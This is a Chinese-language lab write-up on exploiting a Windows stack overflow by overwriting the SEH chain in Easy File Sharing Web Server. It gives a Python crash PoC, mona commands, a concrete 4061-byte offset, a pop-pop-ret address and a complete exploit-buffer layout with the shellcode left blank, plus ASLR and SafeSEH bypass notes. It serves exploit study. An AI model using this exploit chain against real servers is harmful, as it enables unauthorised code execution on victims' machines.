Windows漏洞学习之栈溢出覆盖SEH
字数 1673 2025-08-07 08:22:00
Windows漏洞利用:栈溢出覆盖SEH机制详解
0x00 SEH机制基础
SEH概念
结构化异常处理(Structured Exception Handling, SEH)是Windows系统提供的一种错误恢复机制,允许开发人员指定程序遇到异常时运行的特殊处理代码。
SEH链结构
- 每个程序都有一个SEH链,即使没有显式编写错误处理代码
- SEH链由一系列异常处理块组成,形成多级回退机制
- 每个SEH结构体包含两个成员:
NEXT SEH:指向下一个SEH结构体的指针SEH Handler:异常处理函数的地址
0x01 利用原理
基本思路
- 通过栈溢出覆盖SEH结构体
- 将SEH Handler覆盖为攻击者控制的地址
- 触发异常使程序执行被覆盖的SEH Handler
- 通过精心构造的指令流最终执行shellcode
关键优势
- 可绕过GS栈保护机制
- 不依赖固定的返回地址
- 利用系统自身的异常处理机制
0x02 实验环境
实验组件
- 攻击机:Kali Linux 2021.2
- 靶机:Windows 7旗舰版
- 漏洞软件:Easy File Sharing Web Server 2018
- 调试工具:
- Immunity Debugger(带mona插件)
- x32dbg
- IDA Pro
漏洞概述
Easy File Sharing Web Server 6.9存在用户名长度校验缺失漏洞,导致缓冲区溢出,可覆盖SEH结构。
0x03 漏洞利用步骤
1. 确认漏洞
构造POC发送5000个字符验证漏洞:
import socket
import sys
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket()
s.connect((host, port))
s.send("GET " + "A"*5000 + " HTTP/1.0\r\n\r\n")
s.close()
2. 定位偏移量
使用mona生成定位模式:
!mona pattern_create 5000
发送模式字符串后使用mona分析:
!mona findmsp
确定SEH偏移为4061字节。
3. 构造利用链
关键组件:
- NEXT SEH:跳转指令(如
\xeb\x14\x90\x90) - SEH Handler:pop-pop-ret指令地址
- NOP雪橇:
\x90填充 - Shellcode:实际执行的恶意代码
4. 寻找pop-pop-ret
使用mona搜索:
!mona seh
选择满足条件的地址:
- 来自未启用ASLR和SafeSEH的模块
- 不包含
\x00等坏字符 - 寄存器影响最小
5. 最终EXP结构
offset = 'A' * 4061 # 填充到SEH偏移
Nseh = "\xeb\x14\x90\x90" # jmp +0x14
seh = "\xa3\x02\x01\x10" # pop-pop-ret地址
nop = "\x90" * 20 # NOP雪橇
shellcode = "..." # 实际shellcode
fill = "B" * (5000 - len(offset + Nseh + seh + nop + shellcode))
exploit = offset + Nseh + seh + nop + shellcode + fill
0x04 技术细节解析
异常处理流程
- 异常发生时,系统执行异常回调
- 栈中压入
EXCEPTION_DISPOSITION结构 - 通过
EstablisherFrame定位SEH链 - 执行被覆盖的SEH Handler
pop-pop-ret原理
- 第一个
pop将ESP+4,移过ExceptionRecord - 第二个
pop将ESP+4,指向EstablisherFrame(即NEXT SEH) ret将执行NEXT SEH中的指令
跳转设计
jmp +0x14跳过后续的SEH结构和部分NOP- NOP雪橇确保跳转准确命中shellcode
- 实际偏移需通过调试确定
0x05 漏洞根源分析
漏洞调用链
sprintf() → sub_500050() → write_string() → write_char() → sub_496600 → sqlite3_prepare_v2 → sqlite3LockAndPrepare → sqlite3SafetyCheckOk
根本原因
sub_52D225函数中:
- 使用
lstrlenA()获取报文字符串长度 - 未进行长度校验
- 直接使用
memcpy_0()复制到栈上 - 导致栈缓冲区溢出
0x06 防护绕过技术
对抗ASLR
- 使用未启用ASLR的模块中的地址
- 通过mona查找符合条件的模块
对抗SafeSEH
- 选择未启用SafeSEH的模块
- 使用模块中的合法指令序列
稳定性增强
- 增加NOP雪橇长度提高跳转容错
- 使用多级跳转确保执行流控制
- 添加填充确保触发异常
0x07 实验注意事项
- 调试时注意观察寄存器状态变化
- 每次修改payload后重启服务程序
- 确保跳转偏移计算准确
- 注意坏字符过滤
- 多使用调试器验证执行流
0x08 扩展思考
- 如何在没有pop-pop-ret指令的情况下利用SEH?
- 当所有模块都启用ASLR时的利用方法?
- 如何绕过更新的SEH保护机制?
- 64位系统下的SEH利用差异?
通过本实验,可以深入理解Windows异常处理机制和栈溢出利用技术,为后续更复杂的漏洞利用研究打下基础。